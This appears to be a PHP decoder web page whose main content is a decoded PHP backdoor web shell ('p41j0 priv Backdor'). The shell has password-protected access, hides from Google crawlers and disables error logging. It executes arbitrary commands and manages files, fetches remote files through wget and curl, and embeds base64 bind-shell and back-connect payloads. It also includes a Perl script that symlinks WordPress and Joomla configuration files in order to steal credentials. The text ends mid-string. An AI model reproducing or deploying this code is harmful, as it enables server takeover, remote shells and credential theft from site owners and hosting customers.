Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<? eval(str_rot13(gzinflate(str_rot13(base64_decode(("7P1sk+PWlSCO/i1U+Dtx10K/ljSUhZ0gLMtw..
Decoded Output download
// --------------------------||
// p41j0 priv Backdor ||
// default pass : blackhat ||
// move your s3mp4k ||
// copy @2016 ||
// --------------------------||
$auth_pass = "00d89904c867802d4b4a161ce7ca4d73";
$color = "#00ff00";
$default_action = 'FilesMan';
@define('SELF_PATH', __FILE__);
if( strpos($_SERVER['HTTP_USER_AGENT'],'Google') !== false ) {
header('HTTP/1.0 404 Not Found');
exit;
}
@session_start();
@error_reporting(0);
@ini_set('error_log',NULL);
@ini_set('log_errors',0);
@ini_set('max_execution_time',0);
@set_time_limit(0);
@set_magic_quotes_runtime(0);
@define('VERSION', '2.1');
if( get_magic_quotes_gpc() ) {
function stripslashes_array($array) {
return is_array($array) ? array_map('stripslashes_array', $array) : stripslashes($array);
}
$_POST = stripslashes_array($_POST);
}
function printLogin() {
?>
<center><br><br>
<div style="border:1px solid #04BA4C;background:#000;width:320px;padding:5px;">
<big>Mas P41j0 Private Backdoor</big><br><br>
<style>
body { color:#04BA4C;background:url(http://3.bp.blogspot.com/-D6nQQ3d_wfw/Ts31QI5aQPI/AAAAAAAAAgA/mMEBDufqDpk/s1600/0_1_1.gif) repeat center center fixed black;}
input { color:#04BA4C;margin:0;background-color:black;border:1px solid #04BA4C; }
</style>
<form method=post>
<input type=password name=pass> <input type=submit value=Enter>
<?php
exit;
}
if( !isset( $_SESSION[md5($_SERVER['HTTP_HOST'])] ))
if( empty( $auth_pass ) ||
( isset( $_POST['pass'] ) && ( md5($_POST['pass']) == $auth_pass ) ) )
$_SESSION[md5($_SERVER['HTTP_HOST'])] = true;
else
printLogin();
@ini_set('log_errors',0);
@ini_set('output_buffering',0);
if(isset($_GET['dl']) && ($_GET['dl'] != "")){
$file = $_GET['dl'];
$filez = @file_get_contents($file);
header("Content-type: application/octet-stream");
header("Content-length: ".strlen($filez));
header("Content-disposition: attachment; filename=\"".basename($file)."\";");
echo $filez;
exit;
}
elseif(isset($_GET['dlgzip']) && ($_GET['dlgzip'] != "")){
$file = $_GET['dlgzip'];
$filez = gzencode(@file_get_contents($file));
header("Content-Type:application/x-gzip
");
header("Content-length: ".strlen($filez));
header("Content-disposition: attachment; filename=\"".basename($file).".gz\";");
echo $filez;
exit;
}
if(isset($_GET['img'])){
@ob_clean();
$d = magicboom($_GET['y']);
$f = $_GET['img'];
$inf = @getimagesize($d.$f);
$ext = explode($f,".");
$ext = $ext[count($ext)-1];
@header("Content-type: ".$inf["mime"]);
@header("Cache-control: public");
@header("Expires: ".date("r",mktime(0,0,0,1,1,2030)));
@header("Cache-control: max-age=".(60*60*24*7));
@readfile($d.$f);
exit;
}
$software = getenv("SERVER_SOFTWARE");
if (@ini_get("safe_mode") or strtolower(@ini_get("safe_mode")) == "on") $safemode = TRUE; else $safemode = FALSE;
$system = @php_uname();
function showstat($stat) {if ($stat=="on") {return "<b><font style='color:#00FF00'>ON</font></b>";}else {return "<b><font style='color:#DD4736'>OFF</font></b>";}}
function testmysql() {if (function_exists('mysql_connect')) {return showstat("on");}else {return showstat("off");}}
function testcurl() {if (function_exists('curl_version')) {return showstat("on");}else {return showstat("off");}}
function testwget() {if (exe('wget --help')) {return showstat("on");}else {return showstat("off");}}
function testperl() {if (exe('perl -h')) {return showstat("on");}else {return showstat("off");}}
if(strtolower(substr($system,0,3)) == "win") $win = TRUE;
else $win = FALSE;
if(isset($_GET['y'])){
if(@is_dir($_GET['view'])){
$pwd = $_GET['view'];
@chdir($pwd);
}
else{
$pwd = $_GET['y'];
@chdir($pwd);
}
}
function convertByte($s) {
if($s >= 1073741824)
return sprintf('%1.2f',$s / 1073741824 ).' GB';
elseif($s >= 1048576)
return sprintf('%1.2f',$s / 1048576 ) .' MB';
elseif($s >= 1024)
return sprintf('%1.2f',$s / 1024 ) .' KB';
else
return $s .' B';
}
if(!$win){
if(!$user = rapih(exe("whoami"))) $user = "";
if(!$id = rapih(exe("id"))) $id = "";
$prompt = $user." \$ ";
$pwd = @getcwd().DIRECTORY_SEPARATOR;
}
else {
$user = @get_current_user();
$id = $user;
$prompt = $user." >";
$pwd = realpath(".")."\";
$v = explode("\",$d);
$v = $v[0];
foreach (range("A","Z") as $letter)
{
$bool = @is_dir($letter.":\");
if ($bool)
{
$letters .= "<a href=\"?y=".$letter.":\">| ";
if ($letter.":" != $v) {$letters .= $letter;}
else {$letters .= "<span class=\"gaya\">".$letter."</span>";}
$letters .= " |</a> ";
}
}
}
function testoracle() {
if (function_exists('ocilogon')) { return showstat("on"); }
else { return showstat("off"); }
}
function testmssql() {
if (function_exists('mssql_connect')) { return showstat("on"); }
else { return showstat("off"); }
}
function showdisablefunctions() {
if ($disablefunc=@ini_get("disable_functions")){ return "<span style='color:'><font color=#DD4736><b>".$disablefunc."</b></font></span>"; }
else { return "<span style='color:#00FF1E'><b>NONE</b></span>"; }
}
if(function_exists("posix_getpwuid") && function_exists("posix_getgrgid")) $posix = TRUE;
else $posix = FALSE;
$server_ip = @gethostbyname($_SERVER["HTTP_HOST"]);
$my_ip = $_SERVER['REMOTE_ADDR'];
$admin_id=$_SERVER['SERVER_ADMIN'];
$bindport = "13123";
$bindport_pass = "bh";
$pwds = explode(DIRECTORY_SEPARATOR,$pwd);
$pwdurl = "";
for($i = 0 ; $i < sizeof($pwds)-1 ; $i++){
$pathz = "";
for($j = 0 ; $j <= $i ; $j++){
$pathz .= $pwds[$j].DIRECTORY_SEPARATOR;
}
$pwdurl .= "<a href=\"?y=".$pathz."\">".$pwds[$i]." ".DIRECTORY_SEPARATOR." </a>";
}
// rename file or folder
if(isset($_POST['rename'])){
$old = $_POST['oldname'];
$new = $_POST['newname'];
@rename($pwd.$old,$pwd.$new);
$file = $pwd.$new;
}
if(isset($_POST['chmod'])){
$name = $_POST['name'];
$value = $_POST['newvalue'];
if (strlen($value)==3){
$value = 0 . "" . $value;}
@chmod($pwd.$name,octdec($value));
$file = $pwd.$name;}
if(isset($_POST['chmod_folder'])){
$name = $_POST['name'];
$value = $_POST['newvalue'];
if (strlen($value)==3){
$value = 0 . "" . $value;}
@chmod($pwd.$name,octdec($value));
$file = $pwd.$name;}
// print useful info
$buff = "Software : <b>".$software."</b><br />";
$buff .= "System OS : <b>".$system."</b><br />";
if($id != "") $buff .= "ID : <b>".$id."</b><br />";
$buff .= "PHP Version : <b>".phpversion()."</b> on <b>".php_sapi_name()."</b><br />";
$buff .= "Free Disk: "."<span style='color:#00FF1E'><b>".convertByte(disk_free_space("/"))." / ".convertByte(disk_total_space("/"))."</b></span><br />";
if($safemode) $buff .= "Safemode: <span class=\"gaya\"><b>ON</b></span><br />";
else $buff .= "Safemode: <span class=\"gaya\"><b>OFF</b></span><br />";
$buff .= "Disabled Functions: ".showdisablefunctions()."<br />";
function rapih($text){
return trim(str_replace("<br />","",$text));
}
function magicboom($text){
if (!get_magic_quotes_gpc()) {
return $text;
}
return stripslashes($text);
}
function showdir($pwd,$prompt){
$fname = array();
$dname = array();
if(function_exists("posix_getpwuid") && function_exists("posix_getgrgid")) $posix = TRUE;
else $posix = FALSE;
$user = "????:????";
if($dh = @scandir($pwd)){
foreach($dh as $file){
if(is_dir($file)){
$dname[] = $file;
}
elseif(is_file($file)){
$fname[] = $file;
}
}
}
else{
if($dh = @opendir($pwd)){
while($file = @readdir($dh)){
if(@is_dir($file)){
$dname[] = $file;
}
elseif(@is_file($file)){
$fname[] = $file;
}
}
@closedir($dh);
}
}
sort($fname);
sort($dname);
$path = @explode(DIRECTORY_SEPARATOR,$pwd);
$tree = @sizeof($path);
$parent = "";
$buff = "
<center><form action=\"?y=".$pwd."&x=shell\" method=\"post\" style=\"margin:8px 0 0 0;\">
<table class=\"cmdbox\" style=\"width:50%;\">
<tr><td><b>$prompt</b></td><td><input onMouseOver=\"this.focus();\" id=\"cmd\" class=\"inputz\" type=\"text\" name=\"cmd\" style=\"width:400px;\" value=\"\" /><input class=\"inputzbut\" type=\"submit\" value=\"Go !\" name=\"submitcmd\" style=\"width:80px;\" /></td></tr>
</form>
<form action=\"?\" method=\"get\" style=\"margin:8px 0 0 0;\">
<input type=\"hidden\" name=\"y\" value=\"".$pwd."\" />
<tr><td><b>view file/folder</b></td><td><input onMouseOver=\"this.focus();\" id=\"goto\" class=\"inputz\" type=\"text\" name=\"view\" style=\"width:400px;\" value=\"".$pwd."\" /><input class=\"inputzbut\" type=\"submit\" value=\"View !\" name=\"submitcmd\" style=\"width:80px;\" /></td></tr>
</form></table><table class=\"explore\">
<tr><th>name</th><th style=\"width:80px;\">size</th><th style=\"width:210px;\">owner:group</th><th style=\"width:80px;\">perms</th><th style=\"width:110px;\">modified</th><th style=\"width:190px;\">actions</th></tr></center>
";
if($tree > 2) for($i=0;$i<$tree-2;$i++) $parent .= $path[$i].DIRECTORY_SEPARATOR;
else $parent = $pwd;
foreach($dname as $folder){
if($folder == ".") {
if(!$win && $posix){
$name=@posix_getpwuid(@fileowner($folder));
$group=@posix_getgrgid(@filegroup($folder));
$owner = $name['name']."<span class=\"gaya\"> : </span>".$group['name'];
}
else {
$owner = $user;
}
$buff .= "<tr><td><a href=\"?y=".$pwd."\">$folder</a></td><td>LINK</td>
<td style=\"text-align:center;\">".$owner."</td><td><center>".get_perms($pwd)."</center></td>
<td style=\"text-align:center;\">".date("d-M-Y H:i",@filemtime($pwd))."</td><td><span id=\"titik1\">
<a href=\"?y=$pwd&edit=".$pwd."newfile.php\">newfile</a> | <a href=\"javascript:tukar('titik1','titik1_form');\">newfolder</a></span>
<form action=\"?\" method=\"get\" id=\"titik1_form\" class=\"sembunyi\" style=\"margin:0;padding:0;\">
<input type=\"hidden\" name=\"y\" value=\"".$pwd."\" />
<input class=\"inputz\" style=\"width:140px;\" type=\"text\" name=\"mkdir\" value=\"a_new_folder\" />
<input class=\"inputzbut\" type=\"submit\" name=\"rename\" style=\"width:35px;\" value=\"Go !\" />
</form></td>
</tr>
";
}
elseif($folder == "..") {
if(!$win && $posix){
$name=@posix_getpwuid(@fileowner($folder));
$group=@posix_getgrgid(@filegroup($folder));
$owner = $name['name']."<span class=\"gaya\"> : </span>".$group['name'];
}
else {
$owner = $user;
}
$buff .= "<tr><td><a href=\"?y=".$parent."\"><img src='data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAAAXNSR0IArs4c6QAAAAZiS0dEAP8A/wD/oL2nkwAAAAlwSFlzAAAN1gAADdYBkG95nAAAAAd0SU1FB9oJBxUAM0qLz6wAAALLSURBVDjLbVPRS1NRGP+d3btrs7kZmAYXlSZYUK4HQXCREPWUQSSYID1GEKKx/Af25lM+DCFCe4heygcNdIUEST04QW6BjS0yx5UhkW6FEtvOPfc7p4emXcofHPg453y/73e+73cADyzLOoy/bHzR8/l80LbtYD5v6wf72VzOmwLmTe7u7oZlWccbGhpGNJ92HQwtteNvSqmXJOWjM52dPPMpg/Nd5/8SpFIp9Pf3w7KsS4FA4BljrB1HQCmVc4V7O3oh+mFlZQWxWAwskUggkUhgeXk5Fg6HF5mPnWCAAhhTUGCKQUF5eb4LIa729PRknr94/kfBwMDAsXg8/tHv958FoDxP88YeJTLd2xuLAYAPAIaGhu5IKc9yzsE5Z47jYHV19UOpVNoXQsC7OOdwHNG7tLR0EwD0UCis67p2nXMOACiXK7/ev3/3ZHJy8nEymZwyDMM8qExEyjTN9vr6+oAQ4gaAef3ixVgd584pw+DY3d0tTE9Pj6TT6TfBYJCPj4/fBuA/IBBC+GZmZhZbWlrOOY5jDg8Pa3qpVEKlUoHf70cgEGgeHR2NPHgQV4ODt9Ts7KwEQACgaRpSqVdQSrFqtYpqtSpt2wYDYExMTMy3tbVdk1LWpqXebm1t3TdN86mu65FaMw+sE2KM6T9//pgaGxsb1QE4a2trr5uamq55Gn2l+WRzWgihEVH9EX5AJpOZBwANAHK5XKGjo6OvsbHRdF0XRAQpZZ2U0k9EiogYEYGIlJSS2bY9m0wmHwJQWo301/b2diESiVw2jLoQETFyXeWSy4hc5rqHJKxYLGbn5ubuFovF0qECANjf37e/bmzkjDrjdCgUamU+MCIJIgkpiZXLZZnNZhcWFhbubW5ufu7q6sLOzs7/LgPQ3tra2h+NRvvC4fApAHJvb29rfX19qVAovAawd+Rv/Ac+AMcAGLUJVAA4R138DeF+cX+xR/AGAAAAAElFTkSuQmCC'> $folder</a></td><td>LINK</td>
<td style=\"text-align:center;\">".$owner."</td>
<td><center>".get_perms($parent)."</center></td><td style=\"text-align:center;\">".date("d-M-Y H:i",@filemtime($parent))."</td>
<td><span id=\"titik2\"><a href=\"?y=$pwd&edit=".$parent."newfile.php\">newfile</a> | <a href=\"javascript:tukar('titik2','titik2_form');\">newfolder</a></span>
<form action=\"?\" method=\"get\" id=\"titik2_form\" class=\"sembunyi\" style=\"margin:0;padding:0;\">
<input type=\"hidden\" name=\"y\" value=\"".$pwd."\" />
<input class=\"inputz\" style=\"width:140px;\" type=\"text\" name=\"mkdir\" value=\"a_new_folder\" />
<input class=\"inputzbut\" type=\"submit\" name=\"rename\" style=\"width:35px;\" value=\"Go !\" />
</form>
</td></tr>";
}
else {
if(!$win && $posix){
$name=@posix_getpwuid(@fileowner($folder));
$group=@posix_getgrgid(@filegroup($folder));
$owner = $name['name']."<span class=\"gaya\"> : </span>".$group['name'];
}
else {
$owner = $user;
}
$buff .= "<tr><td><a id=\"".clearspace($folder)."_link\" href=\"?y=".$pwd.$folder.DIRECTORY_SEPARATOR."\"><b><img src='data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAQAAAC1+jfqAAAAAXNSR0IArs4c6QAAAAJiS0dEAP+Hj8y/AAAACXBIWXMAAAsTAAALEwEAmpwYAAAA00lEQVQoz6WRvUpDURCEvzmuwR8s8gr2ETvtLSRaKj6ArZU+VVAEwSqvJIhIwiX33nPO2IgayK2cbtmZWT4W/iv9HeacA697NQRY281Fr0du1hJPt90D+xgc6fnwXjC79JWyQdiTfOrf4nk/jZf0cVenIpEQImGjQsVod2cryvH4TEZC30kLjME+KUdRl24ZDQBkryIvtOJggLGri+hbdXgd90e9++hz6rR5jYtzZKsIDzhwFDTQDzZEsTz8CRO5pmVqB240ucRbM7kejTcalBfvn195EV+EajF1hgAAAABJRU5ErkJggg==' /> [ $folder ]</b></a>
<form action=\"?y=$pwd\" method=\"post\" id=\"".clearspace($folder)."_form\" class=\"sembunyi\" style=\"margin:0;padding:0;\">
<input type=\"hidden\" name=\"oldname\" value=\"".$folder."\" style=\"margin:0;padding:0;\" />
<input class=\"inputz\" style=\"width:200px;\" type=\"text\" name=\"newname\" value=\"".$folder."\" />
<input class=\"inputzbut\" type=\"submit\" name=\"rename\" value=\"rename\" />
<input class=\"inputzbut\" type=\"submit\" name=\"cancel\" value=\"cancel\" onclick=\"tukar('".clearspace($folder)."_form','".clearspace($folder)."_link');\" />
</form><td>DIR</td><td style=\"text-align:center;\">".$owner."</td>
<td><center>
<a href=\"javascript:tukar('".clearspace($folder)."_link','".clearspace($folder)."_form3');\">".get_perms($pwd.$folder)."</a>
<form action=\"?y=$pwd\" method=\"post\" id=\"".clearspace($folder)."_form3\" class=\"sembunyi\" style=\"margin:0;padding:0;\">
<input type=\"hidden\" name=\"name\" value=\"".$folder."\" style=\"margin:0;padding:0;\" />
<input class=\"inputz\" style=\"width:200px;\" type=\"text\" name=\"newvalue\" value=\"".substr(sprintf('%o', fileperms($pwd.$folder)), -4)."\" />
<input class=\"inputzbut\" type=\"submit\" name=\"chmod_folder\" value=\"chmod\" />
<input class=\"inputzbut\" type=\"submit\" name=\"cancel\" value=\"cancel\"
onclick=\"tukar('".clearspace($folder)."_link','".clearspace($folder)."_form3');\" /></form></center></td>
<td style=\"text-align:center;\">".date("d-M-Y H:i",@filemtime($folder))."</td><td><a href=\"javascript:tukar('".clearspace($folder)."_link','".clearspace($folder)."_form');\">rename</a> | <a href=\"?y=$pwd&fdelete=".$pwd.$folder."\">delete</a></td></tr>";
}
}
foreach($fname as $file){
$full = $pwd.$file;
if(!$win && $posix){
$name=@posix_getpwuid(@fileowner($folder));
$group=@posix_getgrgid(@filegroup($folder));
$owner = $name['name']."<span class=\"gaya\"> : </span>".$group['name'];
}
else {
$owner = $user;
}
$buff .= "<tr><td><a id=\"".clearspace($file)."_link\" href=\"?y=$pwd&view=$full\"><b><img src='data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAAAXNSR0IArs4c6QAAAAZiS0dEAP8A/wD/oL2nkwAAAAlwSFlzAAALEwAACxMBAJqcGAAAAAd0SU1FB9oJBhcTJv2B2d4AAAJMSURBVDjLbZO9ThxZEIW/qlvdtM38BNgJQmQgJGd+A/MQBLwGjiwH3nwdkSLtO2xERG5LqxXRSIR2YDfD4GkGM0P3rb4b9PAz0l7pSlWlW0fnnLolAIPB4PXh4eFunucAIILwdESeZyAifnp6+u9oNLo3gM3NzTdHR+//zvJMzSyJKKodiIg8AXaxeIz1bDZ7MxqNftgSURDWy7LUnZ0dYmxAFAVElI6AECygIsQQsizLBOABADOjKApqh7u7GoCUWiwYbetoUHrrPcwCqoF2KUeXLzEzBv0+uQmSHMEZ9F6SZcr6i4IsBOa/b7HQMaHtIAwgLdHalDA1ev0eQbSjrErQwJpqF4eAx/hoqD132mMkJri5uSOlFhEhpUQIiojwamODNsljfUWCqpLnOaaCSKJtnaBCsZYjAllmXI4vaeoaVX0cbSdhmUR3zAKvNjY6Vioo0tWzgEonKbW+KkGWt3Unt0CeGfJs9g+UU0rEGHH/Hw/MjH6/T+POdFoRNKChM22xmOPespjPGQ6HpNQ27t6sACDSNanyoljDLEdVaFOLe8ZkUjK5ukq3t79lPC7/ODk5Ga+Y6O5MqymNw3V1y3hyzfX0hqvJLybXFd++f2d3d0dms+qvg4ODz8fHx0/Lsbe3964sS7+4uEjunpqmSe6e3D3N5/N0WZbtly9f09nZ2Z/b29v2fLEevvK9qv7c2toKi8UiiQiqHbm6riW6a13fn+zv73+oqorhcLgKUFXVP+fn52+Lonj8ILJ0P8ZICCF9/PTpClhpBvgPeloL9U55NIAAAAAASUVORK5CYII=' /> $file</b></a>
<form action=\"?y=$pwd\" method=\"post\" id=\"".clearspace($file)."_form\" class=\"sembunyi\" style=\"margin:0;padding:0;\">
<input type=\"hidden\" name=\"oldname\" value=\"".$file."\" style=\"margin:0;padding:0;\" />
<input class=\"inputz\" style=\"width:200px;\" type=\"text\" name=\"newname\" value=\"".$file."\" />
<input class=\"inputzbut\" type=\"submit\" name=\"rename\" value=\"rename\" />
<input class=\"inputzbut\" type=\"submit\" name=\"cancel\" value=\"cancel\" onclick=\"tukar('".clearspace($file)."_link','".clearspace($file)."_form');\" />
</form></td><td>".ukuran($full)."</td><td style=\"text-align:center;\">".$owner."</td><td><center>
<a href=\"javascript:tukar('".clearspace($file)."_link','".clearspace($file)."_form2');\">".get_perms($full)."</a>
<form action=\"?y=$pwd\" method=\"post\" id=\"".clearspace($file)."_form2\" class=\"sembunyi\" style=\"margin:0;padding:0;\">
<input type=\"hidden\" name=\"name\" value=\"".$file."\" style=\"margin:0;padding:0;\" />
<input class=\"inputz\" style=\"width:200px;\" type=\"text\" name=\"newvalue\" value=\"".substr(sprintf('%o', fileperms($full)), -4)."\" />
<input class=\"inputzbut\" type=\"submit\" name=\"chmod\" value=\"chmod\" />
<input class=\"inputzbut\" type=\"submit\" name=\"cancel\" value=\"cancel\" onclick=\"tukar('".clearspace($file)."_link','".clearspace($file)."_form2');\" /></form></center></td>
<td style=\"text-align:center;\">".date("d-M-Y H:i",@filemtime($full))."</td>
<td><a href=\"?y=$pwd&edit=$full\">edit</a> | <a href=\"javascript:tukar('".clearspace($file)."_link','".clearspace($file)."_form');\">rename</a> | <a href=\"?y=$pwd&delete=$full\">delete</a> | <a href=\"?y=$pwd&dl=$full\">download</a> (<a href=\"?y=$pwd&dlgzip=$full\">gzip</a>)</td></tr>";
}
$buff .= "</table>";
return $buff;
}
function ukuran($file){
if($size = @filesize($file)){
if($size <= 1024) return $size;
else{
if($size <= 1024*1024) {
$size = @round($size / 1024,2);;
return "$size kb";
}
else {
$size = @round($size / 1024 / 1024,2);
return "$size mb";
}
}
}
else return "???";
}
function exe($cmd){
if(function_exists('system')) {
@ob_start();
@system($cmd);
$buff = @ob_get_contents();
@ob_end_clean();
return $buff;
}
elseif(function_exists('exec')) {
@exec($cmd,$results);
$buff = "";
foreach($results as $result){
$buff .= $result;
}
return $buff;
}
elseif(function_exists('passthru')) {
@ob_start();
@passthru($cmd);
$buff = @ob_get_contents();
@ob_end_clean();
return $buff;
}
elseif(function_exists('shell_exec')){
$buff = @shell_exec($cmd);
return $buff;
}
}
function tulis($file,$text){
$textz = gzinflate(base64_decode($text));
if($filez = @fopen($file,"w"))
{
@fputs($filez,$textz);
@fclose($file);
}
}
function ambil($link,$file) {
if($fp = @fopen($link,"r")){
while(!feof($fp)) {
$cont.= @fread($fp,1024);
}
@fclose($fp);
$fp2 = @fopen($file,"w");
@fwrite($fp2,$cont);
@fclose($fp2);
}
}
function which($pr){
$path = exe("which $pr");
if(!empty($path)) { return trim($path); } else { return trim($pr); }
}
function download($cmd,$url){
$namafile = basename($url);
switch($cmd) {
case 'wwget': exe(which('wget')." ".$url." -O ".$namafile);break;
case 'wlynx': exe(which('lynx')." -source ".$url." > ".$namafile);break;
case 'wfread' : ambil($wurl,$namafile);break;
case 'wfetch' : exe(which('fetch')." -o ".$namafile." -p ".$url);break;
case 'wlinks' : exe(which('links')." -source ".$url." > ".$namafile);break;
case 'wget' : exe(which('GET')." ".$url." > ".$namafile);break;
case 'wcurl' : exe(which('curl')." ".$url." -o ".$namafile);break;
default: break;
}
return $namafile;
}
function get_perms($file)
{
if($mode=@fileperms($file)){
$perms='';
$perms .= ($mode & 00400) ? 'r' : '-';
$perms .= ($mode & 00200) ? 'w' : '-';
$perms .= ($mode & 00100) ? 'x' : '-';
$perms .= ($mode & 00040) ? 'r' : '-';
$perms .= ($mode & 00020) ? 'w' : '-';
$perms .= ($mode & 00010) ? 'x' : '-';
$perms .= ($mode & 00004) ? 'r' : '-';
$perms .= ($mode & 00002) ? 'w' : '-';
$perms .= ($mode & 00001) ? 'x' : '-';
return $perms;
}
else return "??????????";
}
function clearspace($text){
return str_replace(" ","_",$text);
}
// net tools
$port_bind_bd_c="bVNhb9owEP2OxH+4phI4NINAN00aYxJaW6maxqbSLxNDKDiXxiLYkW3KGOp/3zlOpo7xIY793jvf
+fl8KSQvdinCR2NTofr5p3br8hWmhXw6BQ9mYA8lmjO4UXyD9oSQaAV9AyFPCNRa+pRCWtgmQrJE
P/GIhufQg249brd4nmjo9RxBqyNAuwWOdvmyNAKJ+ywlBirhepctruOlW9MJdtzrkjTVKyFB41ZZ
dKTIWKb0hoUwmUAcwtFt6+m+EXKVJVtRHGAC07vV/ez2cfwvXSpticytkoYlVglX/fNiuAzDE6VL
3TfVrw4o2P1senPzsJrOfoRjl9cfhWjvIatzRvNvn7+s5o8Pt9OvURzWZV94dQgleag0C3wQVKug
Uq2FTFnjDzvxAXphx9cXQfxr6PcthLEo/8a8q8B9LgpkQ7oOgKMbvNeThHMsbSOO69IA0l05YpXk
HDT8HxrV0F4LizUWfE+M2SudfgiiYbONxiStebrgyIjfqDJG07AWiAzYBc9LivU3MVpGFV2x1J4W
tyxAnivYY8HVFsEqWF+/f7sBk2NRQKcDA/JtsE5MDm9EUG+MhcFqkpX0HmxGbqbkdBTMldaHRsUL
ZeoDeOSFBvpefCfXhflOpgTkvJ+jtKiR7vLohYKCqS2ZmMRj4Z5gQZfSiMbi6iqkdnHarEEXYuk6
uPtTdumsr0HC4q5rrzNifV7sC3ZWUmq+LVlVa5OfQjTanZYQO+Uf";
$port_bind_bd_pl="ZZJhT8IwEIa/k/AfjklgS2aA+BFmJDB1cW5kHSZGzTK2Qxpmu2wlYoD/bruBIfitd33uvXuvvWr1
NmXRW1DWy7HImo02ebRd19Kq1CIuV3BNtWGzQZeg342DhxcYwcCAHeCWCn1gDOEgi1yHhLYXzfwg
tNqKeut/yKJNiUB4skYhg3ZecMETnlmfKKrz4ofFX6h3RZJ3DUmUFaoTszO7jxzPDs0O8SdPEQkD
e/xs/gkYsN9DShG0ScwEJAXGAqGufmdq2hKFCnmu1IjvRkpH6hE/Cuw5scfTaWAOVE9pM5WMouM0
LSLK9HM3puMpNhp7r8ZFW54jg5wXx5YZLQUyKXVzwdUXZ+T3imYoV9ds7JqNOElQTjnxPc8kRrVo
vaW3c5paS16sjZo6qTEuQKU1UO/RSnFJGaagcFVbjUTCqeOZ2qijNLWzrD8PTe32X9oOgvM0bjGB
+hecfOQFlT4UcLSkmI1ceY3VrpKMy9dWUCVCBfTlQX6Owy8=";
$back_connect="fZFRS8MwFIXfB/sPWSw2hUrnqyPC0CpD3KStvqh0XRpcsE1KkoKF/XiTtCIV6tu55+Z89yY5W0St
ktGB8aihsprPWkVBKsgn1av5zCN1iQGsOv4Fbak6pWmNgU/JUQC4b3lRU3BR7OFqcFhptMOpo28j
S2whVulCflCNvXVy//K6fLdWI+SPcekMVpSlxIxTnRdacDSEAnA6gZJRBGMphbwC3uKNw8AhXEKZ
ja3ImclYagh61n9JKbTAhu7EobN3Qb4mjW/byr0BSnc3D3EWgqe7fLO1whp5miXx+tHMcNHpGURw
Tskvpd92+rxoKEdpdrvZhgBen/exUWf3nE214iT52+r/Cw3/5jaqhKL9iFFpuKPawILVNw==";
$back_connect_c="XVHbagIxEH0X/IdhhZLUWF1f1YKIBelFqfZJliUm2W7obiJJLLWl/94k29rWhyEzc+Z2TjpSserA
BYyt41JfldftVuc3d7R9q9mLcGeAEk5660sVAakc1FQqFBxqnhkBVlIDl95/3Wa43fpotyCABR95
zzpzYA7CaMq5yaUCK1VAYpup7XaYZpPE1NArIBmBRzgVtVYoJQMcR/jV3vKC1rI6wgSmN/niYb75
i+21cR4pnVYWUaclivcMM/xvRDjhysbHVwde0W+K0wzH9bt3YfRPingClVCnim7a/ZuJC0JTwf3A
RkD0fR+B9XJ2m683j/PpPYHFavW43CzzzWyFIfbIAhBiWinBHCo4AXSmFlxiuPB3E0/gXejiHMcY
jwcYguIAe2GMNijZ9jL4GYqTSB9AvEmHGjk/m19h1CGvPoHIY5A1Oh2tE3XIe1bxKw77YTyt6T2F
6f9wGEPxJliFkv5Oqr4tE5LYEnoyIfDwdHcXK1ilrfAdUbPPLw==";
////////////////////////////////////////////////////////////////////////tooooll hereee begooo tukang maling shell /////////////////////////////////////////////////////////////////
///iis 7.5 exploit
///////////
$configshell = 'IyEvdXNyL2Jpbi9wZXJsIC1JL3Vzci9sb2NhbC9iYW5kbWluDQpwcmludCAiQ29udGVudC10eXBlOiB0ZXh0L2h0bWxcblxuIjsNCnByaW50JzwhRE9DVFlQRSBodG1sIFBVQkxJQyAiLS8vVzNDLy9EVEQgWEhUTUwgMS4wIFRyYW5zaXRpb25hbC8vRU4iICJodHRwOi8vd3d3LnczLm9yZy9UUi94aHRtbDEvRFREL3hodG1sMS10cmFuc2l0aW9uYWwuZHRkIj4NCjxodG1sIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hodG1sIj4NCg0KPGhlYWQ+DQo8bWV0YSBodHRwLWVxdWl2PSJDb250ZW50LUxhbmd1YWdlIiBjb250ZW50PSJlbi11cyIgLz4NCjxtZXRhIGh0dHAtZXF1aXY9IkNvbnRlbnQtVHlwZSIgY29udGVudD0idGV4dC9odG1sOyBjaGFyc2V0PXV0Zi04IiAvPg0KPHRpdGxlPlByaXY4IFNDUjwvdGl0bGU+DQo8c3R5bGUgdHlwZT0idGV4dC9jc3MiPg0KLm5ld1N0eWxlMSB7DQogZm9udC1mYW1pbHk6IHRhaG9tYSwgdmVyZGFuYSwgQXJpYWw7DQogZm9udC1zaXplOiBtZWRpdW07DQogY29sb3I6ICNGRkZGRkY7DQogYmFja2dyb3VuZC1jb2xvcjogIzY2NjY2NjsNCiB0ZXh0LWFsaWduOiBjZW50ZXI7DQp9DQo8L3N0eWxlPg0KPC9oZWFkPg0KJzsNCnN1YiBsaWx7DQogICAgKCR1c2VyKSA9IEBfOw0KJG1zciA9IHF4e3B3ZH07DQoka29sYT0kbXNyLiIvIi4kdXNlcjsNCiRrb2xhPX5zL1xuLy9nOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2JldGEvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLictam9vbWxhLnR4dCcpIDsgDQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLWpvb21sYS50eHQnKSA7IA0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9ob21lL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLWpvb21sYSAtIGhvbWUudHh0JykgOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC93cC1jb25maWcucGhwJywka29sYS4nLXdvcmRwcmVzcy50eHQnKSA7IA0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9ibG9nL3dwLWNvbmZpZy5waHAnLCRrb2xhLictd29yZHByZXNzLnR4dCcpIDsgDQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3dlYi93cC1jb25maWcucGhwJywka29sYS4nLXdvcmRwcmVzcyAtIHdlYi50eHQnKSA7IA0KI